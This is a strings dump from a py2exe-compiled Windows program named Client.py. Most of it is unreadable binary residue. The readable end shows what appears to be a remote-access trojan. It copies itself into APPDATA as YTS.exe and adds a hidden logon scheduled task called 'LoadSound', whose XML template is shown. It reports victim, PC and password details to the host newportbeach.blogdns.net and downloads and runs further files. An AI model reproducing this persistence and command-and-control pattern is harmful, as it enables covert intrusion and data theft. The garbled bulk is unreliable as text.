1b2g2l2
3&3T3v3
888?8l8s8z8
9R:g:m:|:
:e;l;H<
>'?P?U?
0K0P0z0
0+1/242
2<3A3t3y3
454P4_4d4
5!6(6X6t6
81888l8
999>9z9
:P:X:_:f:
;<<I<l<|<
=*>4>9>
?/?;?^?j?
2&3+3v3
4-44494
:!:.:7:D:`:m:v:
;*;B;L;Q;p;w;
<2<9<><
3L3d3i3
4I4\4v4
6%7-747
:9:N:S:
>2>7>v>
?	?I?T?Z?g?{?
2L2Y2l2
2/393>3
4#4(4>4C4Y4^4t4y4
51565L5Q5g5l5
6$6)6?6D6Z6_6u6z6
7	8'8-8=8R8X8a8i8
0'000:0?0S0q0
1)1=1K1b1t1
1#2)262C2X2f2
2$393N3X3]3c3m3
4+444:4I4P4d4s4
545F5K5`5
6)6L6r6
7 7)7/7R7\7f7r7x7
;#<L<]=b=u=
2 3)3L3~6
<#<M<V<r=w=
768t8~8
9+93989
-0L0P0T0X0\0`0d0h0l0p0t0x0|0
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
6&7V7_7
8 8'8:8C8?9Y9t9
;'<5<C<
>O>V>[>n>u>z>
?/?@?L?S?
1&111;1A1G1h1m1
61686A6H6t6|6
7(7.7>7S7X7a7i7|7
8-8C8R8h8
2Q4h4m4U5p5
7%8,858R8Y8
9 9J9P9m9r9
</<h<n<
<'=4=z=
>%>,>3>F>K>o>t>
1'2H2M2
2!3D3I3a3
4(4=4C4K4[4~4
4-525=6
:C;H;"<0<;<P<V<
?<?B?r?
010T0s0
0 151]1|1
7:8J8O8a8
9"91979T9i9o9x9
:,:[:`:p:
;4<B<H<e<z<
6P7V7`7e7t7x7|7
=`>e>{>
9`:u:l;
0*0n0(1Y1
5 5$5(5,5054585<5@5[5x5~5
5"6'686<6@6D6H6L6P6T6X6\6`6d6y6
:$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
9J9W9d9z:
4 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4d4h4l4
:$:(:,:0:4:Y:^:
:%;6;^;
< <$<(<,<4>s>
:#:d<p<x<
=4=;=S=]=
0?1N1g1o1
= ='=?=s=
f0r0{0@2
2"3Q3\3
5 5;5D5
9(919^9d9a:m:y:
;u;><f<l<r<|<
>+>S>a>
888<8@8D8H8L8X8
:.:8:v:|:
>->2>G>M>
2,363@3]3j3q3
4	5#50575s5
7B8U8Z8
;B;W;o;w;
<*=/=J=X=
=:>e>l>
>2?<?R?[?
5a6h6o6v6}6
7D8I8g8l8
=#=D=J=s=
3A3H3`3d3%4,4O4V4l4p4
5=5C5S5\5
8$8)8\8c8
9$:):K:P:
141I1O1W1_1
1e2s2x2
2%3,3B3U3~3
3.434:4P4x4
7>7`7h7l7p7t7x7|7
:Q;X;_;y;
;A<H<n<
===N=h=m=
=&>;>V>[>o>
869]9u9
=#>V>F?
70K0R0f0k0
0O1m1v1
3/494>4m4
5'5,5N5X5e5j5t5z5
8 9%9f9p9;:E:M:X:\:`:d:h:l:p:
:.;<;C;J;e;n;s;
;9<@<J<O<t<z<
>$>,>4>:>G>O>U>_>w>
?$?3?\?b?q?w?
0&0[0i0u0
0&1;1A1J1R1X1
3 3%3X3j3
3*41494A4q4
5<5B5R5[5e5p5z5
6C6H6|6
7I7S7o7y7
8!808H8N8b8m8
9M9W9j9r9
9":,:E:z:
:A;K;d;
<Z<d<w<
=(=;=C=Y=|=
3)303U3]3e3t3
4j4q4w4
7/777F7P7
9':4:E:z:
;!;J;^;q;
525;5P5X5
7Q8\8k8v8
8>9D9i9
:7:A:G:N:u:z:
;a;g;{;
<#<=<C<
=P=x=$>4>
262;2a2f2
353:3W3h3s3x3
4.545l5z5
6.6I6O6t6
6<768<8d8i8
9P:V:\:
;(;2;K;k;
;$<d<m<
=>>I>p>
>	?#?*?>?_?e?
040h0x0~0
1b1l1q1
282T2f2k2}2
353:3l3
3<4d4k4
7%777<7
9!9>9C9H9s9
:%:<:S:k:p:u:
<2<7<O<u<
90:7:<:
<5=d=k=
292?2V2[2z2
3"383?3Y3a3x3
4R5d5{5
7,858:8Y8|8
:Z;f;k;
021E1K1h1}1
1-2B2H2e2z2
4/5Q5Z5m5r5
5*616T6[6m6r6
8*808M8b8g8p8x8
9(9]9l9
4>5C5{6
:1:H:R:t:x:|:
>q>w>S?
 0$0g0
8@9D9H9L9
; ;?;T;Z;c;k;
=!=+=Y=b=j=z=
?!?+?4?a?w?
0"0L0T0^0
051=1H1W1`1
3!3F3]3u3
434<4J4Q4_4e4n4w4
5'595T5_5p5
6F7X7f7t7
8!8(8.8B8J8T8`8i8
9F9M9V9_9h9v9}9
:	; ;6;I;a;l;|;
;X<b<u<
=O=U=s=y=
>,>7>d>
60V0d0
4F4M4!5
7"7)7.7t7
<8<?<e<
<N=U=\=a=z=
=.>V>n>w>
?$?9?>?G?O?U?h?
0 0'0-0:0D0K0Q0^0k0r0x0
1$1*171E1L1R1_1m1t1z1
2%232:2@2M2[2b2h2u2
3!3(3.3;3I3P3V3c3p3w3}3
4#414;4H4Y4^4k4z4
5!5/565<5I5W5^5d5q5~5
6$6*676E6L6R6_6l6s6y6
7%737:7@7M7Z7a7g7t7
818;8H8c8p8z8
9"9/999F9a9o9y9
:&:3:::@:M:[:b:h:u:
;-;>;C;P;r;|;
;	<$<1<;<H<c<q<{<
="=0=:=G=b=p=z=
>!>/>9>F>a>r>w>
?&?0?=?X?e?o?|?
0'040O0\0f0s0
1%121M1[1e1r1
2$212L2[2`2e2r2
3!30353:3G3U3
>4>9>P>U>
>(?-?D?I?
54595P5U5
586=6T6Y6
6(7-7e8j8
;5;<;p;
< <$<(<U<Z<t<y<
=4=b=z=
>(>V>n>
373e3}3
424J4x4
6E6O6r6
7	8K8U8x8
:(:K:c:m:
<6<;<k<
>=?G?g?
1<1F1z1
3.484l4v4
4'5b5l5
7%7=7x7
7D8H8L8P8T8X8\8`8d8h8l8p8t8x8|8
9 9&9=9B9d9
:I:e:y:
; ;1;9;I;N;V;^;f;n;v;~;
<&<.<3<D<H<L<P<i<n<v<~<
=1>6>L>~>
1"1*1O1W1
2/272b2j2
3!3H3N3
4)4Q4W4
9$9*9:9@9
;,;L;b;
<2=H=p=v=->2>L>Q>k>v>{>
>D?d?z?
?0D0^0~0
2$2g2}2
2.333M3R3l3w3
41565P5U5p5
7 7H7N7
8.898>8X8x8
:6;L;t;z;
=)=I=_=
1!272_2e2
3&3+3E3P3p3
3:4P4x4
575<5W5w5
5S6X6s6
8.8V8\8
:":l:~:
;4;J;r;
<,<L<^<
?#?`?v?
272B2b2x2
2,313K3P3k3
3[4`4z4
6!6,6L6b6
8(8H8^8
9$9>9^9t9
;"<'<A<F<a<
<6=L=t=
>+>0>J>U>u>
3+4A4i4o4
6-6M6_6
7&8+8E8e8{8
:!;&;@;K;P;j;
;W<\<v<
>(>>>f>
>P?U?o?
7*7\7e7
868?8t8
;5;;;l;q;=<B<\<a<
>:?X?a?
6(6.6E6K6a6g6~6
7*707G7M7c7i7
8,828I8O8e8k8
9.949K9Q9g9m9
:0:6:M:S:i:o:
;2;8;O;U;k;q;
<4<:<Q<W<m<s<
=6=<=S=Y=o=u=
>!>8>>>U>[>q>w>
?#?:?@?W?]?s?y?
0%0<0B0Y0_0u0{0
1.141G1M1
3<3H3N3X3c3k3}3
4#4+4?4[4a4i4}4
5<5U5r5
6(6-676<6Y6^6y6
727V7]7
8>8V8|8
959<9B9L9_9f9m9s9
:):4:s:}:
; ;G;};
<!<+<2<8<D<W<j<
>;>L>\>
5=5O5j5
7%7B7U7
8D8b8s8
9K:S:`:h:|:
<,<6<C<a<
="=T=q=
6'676T6^6f6p6{6
6&7.747>7F7[7r7
8 8$8(858E8L8X8d8
8D9X9^9{9
; ;4;H;z;
1(191S1u1
1*2@2V2l2
3 3,383>3W3
7#7J7w7
7-828h8l8p8t8x8|8
:":P:n:s:
;>;`;v;
<0<Q<e<j<
= =@=_=p=
Z0y0n1
868=8J8W8r8
<)<E< =$=(=,=0=4=8=<=@=D=H=L=P=T=X=\=`=d=h=l=
=0B0H2L2P2T2X2\2`2d2h2l2p2t2x2|2
:%:.:Q:u:~:
:<;C;V;];
="=)=Z=
>j>o>y>~>
?I?O?X?]?q?
0E0]0c0l0s0
4!4<4V4[4p4u4z4
6#6(696J6P6
888=8~8
969K9Q9Z9b9h9
;B;V;w;
< <&<*<4<<<A<F<K<P<U<[<e<j<p<
=-=?=P=b=t=
?/?4?9?A?P?f?u?
;0F0K0U0_0u0
1 141S1Y1`1h1
2!2-2A2a2m2
2'3F3L3S3[3
4.4B4a4
5'5G5M5S5Z5_5x5
;%;I;U;r;{;
<-<J<X<u<
=	=&=/=;=H=k=p=|=
><>J>q>
>	?"?9?J?^?w?
415>5Y5
7#7(7@7p7
8!818A8F8x8
9"9(9.949:9@9F9L9R9X9^9d9j9p9v9|9
:$:*:0:6:<:B:H:N:T:Z:`:f:l:r:x:~:
; ;&;,;2;8;>;D;J;Z;`;f;l;r;x;~;
< <&<,<2<8<><D<J<P<V<\<b<h<n<t<z<
="=(=.=4=:=@=F=L=R=X=^=d=j=p=v=|=
>$>*>0>6><>B>H>N>T>Z>`>f>l>r>x>~>
?!?*?B?Z?o?t?z?
0/0G0M0a0
1$111I1
2I2O2U2[2a2g2n2u2|2
3 363=3D3R3]3c3w3
454:4Z4`4f4l4
5=5Q5W5
5C6H6_6
7$7*70767<7B7H7N7T7Z7`7f7l7r7x7~7
:n;t;z;
7 7(70787@7H7P7X7`7h7p7x7
8 8(80888@8H8P8X8`8h8p8x8
9 9(90989@9
6 6(60686@6H6P6X6`6h6p6x6
7 7(70787@7H7P7X7`7h7p7x7
8 8(80888@8H8P8X8`8h8p8x8P;p;x;
H2P2X2
2<2D2H2P2T2X2`2d2h2l2
4 4(40484@4H4P4X4`4h4
5 5(50585@5H5X5`5h5p5x5
6 6(60686@6H6P6X6`6h6p6x6
; ;(;0;8;@;H;P;X;`;h;p;x;
< <(<0<8<@<H<P<X<`<h<p<x<
`1h1p1x1
1`2h2p2x2
4 4(40484@4H4P4X4`4h4p4x4
5 5(50585@5H5P5X5`5h5p5x5
6 6(60686@6H6P6X6
7 7(70787@7H7P7X7`7h7p7x7
8(909X9@;H;L;P;X;`;d;p;|;
`3h3p3x3
4 4(40484@4H4P4X4`4h4p4x4
5 5(50585@5H5P5X5`5h5p5x5
; <(<0<8<@<H<P<X<`<h<p<x<
= =(=0=8=@=H=P=X=`=h=p=x=
1 1(10181@1H1P1X1`1h1p1x1
2 2(20282@2H2P2X2`2h2p2x2
3 3(30383@3H3P3X3`3h3p3x3
3X4`4h4p4x4
5 5(50585@5H5P5X5`5h5p5x5
6(60686@6H6P6X6h6p6x6
(<0<8<@<H<P<X<`<h<p<x<
7(70787P7p7x7
@3H3P3X30484@4H4P4X4`4h4p4x4
5 5(50585@5H5P5X5`5h5p5x5
6 6(60686@6H6P6X6`6h6p6x6
7 7(70787@7H7P7X7`7h7p7x7
8 8(80888
;0;8;X?`?
7 787X7`7h7p7h9p9x9
30383@3H3P3X3`3h3
4(484@4H4P4X4`4p4
5 5(505@5H5X5h5p5x5
6 6(686@6P6X6h6p6x6
707@7H7P7X7`7p7
5 5(5,54585<5D5H5L5P5T5X5\5h5t5
6(646@6L6X6d6
7 7$7,70747L7T7X7\7d7h7l7t7x7|7
8 8$8<8D8H8L8T8X8\8d8h8l8t8x8|8
9 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
? ?(?0?8?@?H?P?X?`?h?p?x?
5(5`5h5p5x5
6 6(60686@6H6P6X6`6h6p6x6
7 7(70787@7H7P7X7`7h7p7x7
8 8(80888@8H8P8X8`8h8p8x8
1 1(10181@1H1P1X1`1h1p1x1
2 2(20282@2H2P2X2`2h2p2x2
3 3(30383@3H3P3X3`3h3p3x3
4 4(40484@4H4P4X4`4h4p4x4
5 5(50585@5H5P5X5`5h5p5
9 9(9,989D9
5 5(5`5h5p5x5
6 6(60686@6H6P6X6`6h6p6x6
7 7(70787@7H7P7X7`7h7p7x7
2 2(20282@2H2P2X2`2h2p2x2
3 3(30383@3H3P3X3`3h3p3x3
4 4(40484@4H4P4X4`4h4p4x4
5 5(50585@5H5P5X5
<h<p<x<
<X=`=h=p=x=
> >(>0>8>@>H>P>X>`>h>p>x>
? ?(?0?8?@?H?P?X?`?h?p?x?
H=P=X=`=h=p=x=
0 0(000
; ;(;@;H;P;X;x;
0X6d6p6|6
7 7$7(7,707
04<4H4T4`4l4x4
0$0(0D0H0d0h0
0$080L0t0x0|0
6$6(6,64686<6D6H6L6T6X6\6d6h6l6t6x6|6
7 7$7(7,7074787<7@7D7H7L7P7T7X7\7`7d7h7l7p7t7x7|7
8$888L8`8t8
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
;$<D<H<L<P<t<x<|<
4 4$4,40444<4
9 9$9(9,90949<9@9P9T9\9`9h9l9
0 0$0,00040<0@0D0L0P0T0`0d0p0t0
282P2|2
3,3D3\3t3
4<4T4l4
646L6d6
747T7l7
:,:D:\:t:
;0;H;h;
=<=T=|=
>$><>T>l>
?<?T?l?
141L1d1|1
6$6<6T6l6
7,7D7\7
848L8d8
849L9d9|9
:,:D:\:
;0;H;l;
=(=L=d=
>,>\>t>
040L0d0
1<1T1l1
243L3d3
444\4t4
6$6<6T6l6
7$7<7T7l7
8$8<8T8l8
8 989l9
:,:D:\:|:
;,;D;l;
<(<T<l<
= =$=,=8=<=D=P=T=\=h=l=t=
>(>,>4>@>D>L>X>\>d>p>t>|>
?$?0?4?<?H?L?T?`?d?l?x?|?
0 0$0,080<0D0P0T0\0h0l0t0
1(1,141@1D1L1X1\1d1p1t1|1
2$20242<2H2L2T2`2d2l2x2|2
3 3$3,383<3D3P3T3\3h3l3t3
4(4,444@4D4L4X4\4d4p4t4|4
445d6t6
7$7,7<7D7t7|7
8$8,8|8
< <$<(<0<4<8<<<D<H<L<P<X<l<p<t<x<|<
H:L:T:X:\:d:h:l:t:x:|:
;$;(;,;4;8;<;D;H;L;T;X;\;d;h;l;t;x;|;
<$<(<,<4<8<<<D<H<L<T<X<\<d<h<l<t<x<|<
=$=(=,=4=8=<=D=H=L=T=X=\=d=h=l=t=x=|=
9 9$9,90949<9@9D9L9P9T9\9`9d9l9p9t9|9
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
; ;$;(;,;0;4;8;<;@;D;H;L;P;X;`;h;p;t;x;|;
044484<4@4D4H4L4P4T4X4\4`4d4h4l4p4x4|4
5 5T5`5d5p5x5
6 6$6,60646<6@6D6L6P6T6\6`6d6l6p6t6|6
7 7$7,70747<7@7D7L7P7T7\7`7d7l7p7t7|7
1$1(1,14181<1D1H1L1T1X1\1d1x1|1
2 2$2(2,2024282<2@2D2H2L2P2T2X2\2d2|2
3,3L3d3
4$4(4,444L4d4|4
6,60646d6h6l6p6
7 7$7(7,7074787<7@7D7H7L7P7T7d7l7p7|7
7D8L8T8`8p8t8x8|8
2T8X8\8
4282<2@2H2L2T2
: ;D;H;L;
>$>(>,>4>8><>D>H>L>T>X>\>d>h>l>t>x>|>
?$?(?,?4?8?<?D?H?L?T?X?\?d?h?l?t?x?|?
0$0(0,080<0H0L0T0X0\0
1 1$101<1@1D1H1T1X1\1
5(5<5P5d5x5
6,646<6H6\6l6p6x6|6
688<8D8H8L8T8X8\8d8h8l8t8x8|8
949<9T9X9\9`9
: :(:8:D:T:`:p:|:
;$;,;0;4;@;H;L;P;\;d;h;l;x;
< <(<,<0<<<D<H<L<X<`<d<h<t<|<
=$=,=8=@=H=T=\=`=d=p=x=|=
> >$>(>4><>@>D>P>X>\>`>l>t>x>|>
? ?$?0?8?<?@?L?T?X?\?h?p?t?x?
0 0,04080<0H0P0T0X0d0l0p0t0
1(1014181D1L1P1T1`1h1l1p1|1
2$2,20242@2H2L2P2\2d2h2l2x2
3 3(3,303<3D3H3L3X3`3d3h3t3|3
4$4(4,484@4D4H4T4\4`4d4p4x4|4
5(5,5<5@5P5
7(74787<7@7d7l7p7
8(84888<8
9$9(9,949L9T9`9d9t9|9
9D:H:P:d:h:t:|:
:4;8;<;@;D;P;\;`;|;
;$<L<P<T<X<\<h<t<x<|<
D;L;X;
< <P<t<x<|<
>$>(>,>4>8><>D>H>L>T>X>\>d>h>l>t>x>|>
?$?(?,?4?8?<?D?H?L?T?X?\?d?h?l?t?x?|?
0(0,080<0D0H0L0T0X0\0d0h0l0t0x0|0
2(2D2l2p2t2
3 3$34383<3@3D3L3P3X3`3l3|3
7T7\7h7x7|7
9(9X9l9|9
> >$>,>0>4><>@>D>L>P>T>\>`>d>l>p>t>|>
? ?$?,?0?4?<?@?D?L?P?T?\?t?
1$1,1L1P1T1X1
2$2(2,24282<2D2H2L2T2X2\2d2|2
3 3(3,343
4(484<4@4D4L4T4x4|4
6 6$6D6L6X6l6t6
6<7@7H7\7d7l7x7
7$8(8,8084888<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8x8|8
9 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
: :$:\:d:p:
: ;$;,;4;@;T;
=,=0=4=8=\=`=d=t=x=
> >4><>P>T>
?(?,?<?@?P?T?d?h?x?|?
0(0<0D0H0X0`0h0l0p0t0
0h5l5t5x5|5
6 6<6x8|8
9$909@9D9H9T9\9`9p9
9l:p:t:x:
;L<P<T<\<
>8?<?D?H?L?T?X?\?d?h?l?t?x?|?
0 0$0(0,0
1 1$1(1
2l2p2x2
4 4$4t4|4
4<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|5
9(9,9H9L9T9\9`9h9p9t9|9
:$:,:L:P:t:D;H;P;l;p;
<,<H<\<l<p<t<x<|<
=,=@=h=l=p=|=
>`?d?h?l?p?|?
3 3P3`3d3h3
6H6X6\6`6x6
7@7D7T7X7\7h7l7p7|7
848<8H8x8|8
: :$:(:,:8:<:@:
1(1,14181<1D1H1L1T1
2 2X2\2l2t2|2
>$>(>,>4>8><>D>H>L>T>X>\>d>h>l>t>x>|>
?,?0?4?<?D?H?P?X?\?`?d?
T3\3h3|3
40545@5D5P5T5|5
6,60646@6D6H6\6d6|6
707D7L7t7
8<8L8X8
9 9`9d9h9
9(:,:0:P:d:l:
; ;8;@;T;\;
<$<L<\<h<
=(=,=<=@=P=h=l=
>$>L>\>h>
?$?0?p?t?x?
0,0D0T0`0
1(1h1l1p1
1024282X2l2t2
3(3<3D3l3p3t3
5P6`6d6t6x6
7D7X7\7`7x7
8P8T8X8x8
9P9T9X9x9
:P:T:X:x:
: ;$;(;H;\;d;
< <4<<<d<t<x<
= =4=<=d=h=|=
>4>8>H>L>\>`>p>t>
?(?0?D?L?t?x?|?
0D0T0`0
1$101p1t1x1
2@2D2H2h2|2
383L3T3
4$4P4d4p4
:H:L:P:p:
; ;@;T;\;
<$<,<T<X<l<x<
<$=4=@=
>H>L>P>p>
?8?L?T?|?
0D0T0`0
3034383\3
4$404`4p4t4
:$:(:,:4:8:<:D:H:L:T:X:\:d:h:l:t:x:|:
=$=,=L=P=T=X=
= >4>D>H>L>
?d?l?t?
,0H0T0\0
1$1(1,1@1T1\1d1l1
2$2(2,2@2T2\2d2l2
3$3,3@3T3d3l3
44484`4t4|4
546<6H6\6x6
6,747@7T7p7
7,848@8T8h8p8
989<9D9H9L9T9X9\9d9h9l9t9x9|9
: :4:<:D:L:
; ;$;L;T;`;p;t;
;H<\<p<
1$1(181<1D1H1L1P1t1x1
4(4T4\4h4l4|4
485L5`5t5
6(6<6l7t7
94;8;<;D;H;X;\;
<D<X<(=4=8=<=@=D=P=T=X=\=`=d=h=l=p=t=x=|=
> >$>(>,>0>4>8><>H>L>T>\>`>
0 0$000D0l0p0
1,101L1d3l3x3
3$4(4,4
< =$=,=0=4=<=@=D=L=P=T=\=`=d=l=p=t=|=
> >$>,>0>4><>@>D>L>P>T>\>`>d>l>p>t>|>
? ?$?,?0?4?<?@?D?L?P?T?\?`?d?l?p?t?|?
2$202D2L2P2\2`2h2p2|2
3 3<3D3P3
4054585<5@5D5H5X5\5`5d5h5t5|5
646<6@6D6`7d7h7
8,808D8X8
=(=,=4=<=@=H=P=T=\=
H0L0X0\0h0l0x0|0
141<1T1\1
7 7$70747@7D7P7T7`7d7p7t7
8(8P8T8d8h8x8|8
8 9$9(989<9@9D9\9d9(?,?4?8?<?D?H?L?T?X?\?d?h?l?t?x?|?
0 00040d0p0
>$>(>,>4>8><>H>L>X>\>h>l>x>|>
>,?8?x?|?
0 040D0
: :$:,:0:4:<:@:D:L:P:T:\:`:d:l:p:t:|:
;,;8;L;h;x;|;
5 5$5,50545<5@5D5L5P5T5\5`5d5l5p5t5|5
6 6$6,60646@6D6P6T6
7P7T7X7d7h7l7t7
7D>H>L>T>X>\>d>h>l>t>x>|>
?(?l?p?
0 0$00040@0D0P0T0`0d0p0t0
1 1$1T1`1t1
1 3$30343@3D3P3T3`3d3p3t3
4(4,4<4@4P4T4
7 7$70747@7D7P7T7`7d7p7t7
7 8$8(8<8D8\8d8
: :$:0:4:@:D:P:T:`:d:p:t:
; ;$;T;`;t;
p8t8|8
<<<H<x<
=$=(=<=H=x=
>$>4>@>p>
? ?$?@?t?
0h0l0x0|0
1,1D1H1L1d1l1
2 24282@2T2X2`2
:h;l;t;x;|;
6$6(6,64686<6D6H6L6T6X6\6d6h6l6t6
9,909L9P9T9X9|9
= =$=,=0=4=<=P=T=\=
><>@>H>L>P>X>l>|>
?4?d?h?
8$8(8,84888<8D8H8L8T8X8\8d8h8l8t8x8|8
3 3$3,30343<3@3D3L3P3T3\3`3d3l3p3t3|3
p1t1|1
0444<4@4D4L4P4T4\4`4d4l4p4t4|4
5 5$5,50545<5@5D5L5P5T5\5`5d5l5p5t5|5
0$080<0L0P0`0d0t0x0
2 2$2,20242<2@2D2L2P2T2\2|2
243H3|3
50545<5@5D5L5P5T5\5`5d5l5
5D6H6\6h6
;@<H<P<X<`<h<p<x<
4 4$4,40444<4@4D4L4P4T4\4`4d4l4p4t4|4
5 5$50545@5D5L5P5T5\5`5d5l5p5t5|5
6 6$6,60646<6@6D6L6P6T6\6`6d6l6p6t6|6
8$8(8,848T8`8h8p8
9 9$9,949<9D9p9t9|9
: :$:,:0:4:<:@:D:L:P:T:\:
>$>(>,>4>8><>D>H>L>T>X>\>d>h>l>t>x>|>
?$?(?,?4?8?<?D?H?L?T?X?\?d?h?l?t?x?|?
0$0(0,04080<0D0H0L0T0X0\0d0h0l0t0x0|0
1$1(1,14181<1D1H1L1T1X1\1d1h1l1t1x1|1
2$2(2,24282<2D2H2L2T2X2\2d2h2l2t2x2|2
3$3(3,34383<3D3H3L3T3X3\3d3h3l3t3x3|3
4$4(4,44484<4D4H4L4T4X4\4d4h4l4t4x4|4
8 8H8P8`8d8
:8:@:P:T:
;(;,;8;<;H;L;X;\;h;l;x;|;
< <$<(<,<
0 1$1(1L1P1T1X1\1
44484,888x8
8d9h9p9
3$3(3,34383<3D3H3L3T3X3\3d3h3l3t3x3|3
4$4(4,44484<4D4H4L4T4X4\4d4h4l4t4x4|4
5$606`6p6t6
7 7P7d7t7x7
8H8X8\8`8
;(;,;<;@;l;p;
> >(>0>4><>d>p>
1(1,1<1@1l1p1
74787\7D:P:
<@<P<T<d<h<
>0>@>D>T>X>
$0(0L0P0T0X0L1X1
3 3$34383d3h3|4
5\5`5h5|5
7 7$7L7P7L9X9
9<:@:H:\:`:d:h:
;(;<;X;h;l;|;
>8>H>L>\>`>
4 4$40444@4D4P4T4`4d4p4t4
0 0$0,00040<0@0D0L0
8 8$8h8x8|8
9,9094989
:$:(:L:
;$;(;,;4;8;<;D;H;L;T;X;\;d;h;l;t;x;|;
= =,=4=8=H=T=d=l=
? ?H?L?\?`?p?t?
0 0$0,00040<0@0D0L0P0T0\0p1
2$2,202@2L2\2d2
3(30383@3D3L3P3T3\3`3d3l3p3t3|3
4 4$4,40444<4@4D4L4P4T4\4`4d4l4h5l5
6 64686D6L6P6`6l6|6
= =$=,=0=4=<=@=D=L=P=T=\=`=d=l=p=t=|=
>P>d>h>l>p>t>
? ?$?,?0?4?<?@?D?L?P?T?\?`?d?l?
0$0(0,040
2$2(2,24282<2D2X2\2`2l2t2
3 34383<3
3 4$4(4
4X9\9d9h9l9t9x9|9
:$:(:,:4:8:<:D:H:L:T:X:\:d:h:l:t:x:|:
@8D8L8P8T8\8`8d8l8p8t8|8
9 9$9,90949<9
?(?,?8?<?H?L?X?\?h?l?x?|?
0(0,080<0H0L0X0\0h0l0x0|0
1 1$10141@1D1P1T1`1d1p1t1
9 9$9,90949<9@9D9L9P9T9\9`9d9l9p9t9|9
: :$:,:0:4:<:@:D:L:P:T:\:`:d:l:p:t:|:
T4`4t4|4
5(5X5l5|5
5H7L7T7X7\7d7h7l7t7
8 8$84888H8L8\8`8p8t8
8(9,9<9@9P9T9
:,:0:@:D:T:X:
; ;0;4;D;H;X;\;l;p;
3$3(3,34383<3D3H3L3T3X3\3d3
9p>t>|>
? ?4?H?\?
5 5$5@5D5T5X5h5l5
6P6l6p6t6
8(8,84888<8D8H8L8T8X8\8d8h8l8t8x8|8
809@9\9
:(:,:0:4:8:<:@:D:H:L:X:`:h:p:
0@2D2L2P2T2\2`2d2l2p2t2|2
3(3@3P3T3d3h3x3|3
3@6T6`6
7 7$7(7,7D7P7x7
; ;$;,;0;4;<;@;D;L;`;t;
>$?(?0?4?8?@?T?d?
0<0H0d0x0
3$3(3,34387<7D7H7L7T7X7\7d7h7l7t7x7|7
81H1L1\1`1p1
1 2(2,282<2T2X2\2|2
3,3X3\3l3p3
5@7D7L7P7T7\7p7
8 8`8d8h8|8
9 9$9,9$<(<0<L<X<`<l<
=$=(=,=4=8=<=D=H=L=T=X=\=d=h=l=t=x=|=
=<>H>L>\>d>l>x>
>,?0?8?\?h?
$000`0t0
4,404L4P4X4
< <$<0<4<@<D<P<T<`<d<p<t<
= =$=0=4=@=D=P=T=`=d=p=t=
> >$>0>4>@>D>P>T>`>d>l>p>t>|>
P0T0X0\0
3 3$3(30444<4@4D4L4P4T4\4`4d4l4p4t4|4
windows_exet
Stderrc
The logfile '%s' could not be opened:
Errors occurreds 
See the logfile '%s' for details(	
_filet
_errort
opent	
Exceptiont
atexitt
registert
writet
flush(
alertt
fnamet
detailsR
C:\Python27\lib\site-packages\py2exe\boot_common.pyR
C:\Python27\lib\site-packages\py2exe\boot_common.pyR
__name__t
__module__t	
softspaceR
_MessageBoxt
executableR
C:\Python27\lib\site-packages\py2exe\boot_common.pyR
Blackholec
C:\Python27\lib\site-packages\py2exe\boot_common.pyR
C:\Python27\lib\site-packages\py2exe\boot_common.pyR
C:\Python27\lib\site-packages\py2exe\boot_common.pyR
filenamet
linenot
module_globals(
C:\Python27\lib\site-packages\py2exe\boot_common.pyt
fake_getline]
frozent
objectR
stderrR
stdoutt	
linecacheR
getlinet
orig_getline(
C:\Python27\lib\site-packages\py2exe\boot_common.pyt
<module>,
zipextimportert
install(
<install zipextimporter>R$
copyfilet
APPDATAt
Blidat
COMPUTERNAMEt
E.N.T.As
\YTS.exes
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2001-10-25T14:27:44.8929027</Date>
    <Author>%OPS%</Author>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
      <UserId>%OPS%</UserId>
    </LogonTrigger>
    <RegistrationTrigger>
      <Enabled>false</Enabled>
    </RegistrationTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>%OPS%</UserId>
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>%Ordinair%</Command>
    </Exec>
  </Actions>
</Task> c
%OPS%s
%Ordinair%i
schtasks /create /TN "LoadSound" /XML t
XXXML_Scriptt
replacet
Import_userNnamet
Pyloa_drop_patht
isfilet
FalseR'
XML_drop_pathR
subprocesst
modifieXMLt
writexml(
Client.pyt
DroppingM
\Time.txtR,
%d/%m/%Y(	
getAppdataR5
strftime(
Client.pyt
installDateZ
E.N.T.Ai
\safei
\Safe(
splitt
urllibt	
URLopenert
retrieveR=
startfile(
received_datat
testfile(
Client.pyt
communicateb
newportbeach.blogdns.neti
connexion out ... reconnecting ...i
stalkert
Uknowns	
\Time.txtt
[endof]s
server closed(
sockett
AF_INETt
SOCK_STREAMt
connectt
Password_Passt
Vic_Namet
Import_pc_NameR0
Import_winVert
versionR
readRM
Portingt	
connectedRJ
Client.pyRU
platformt
getpasst
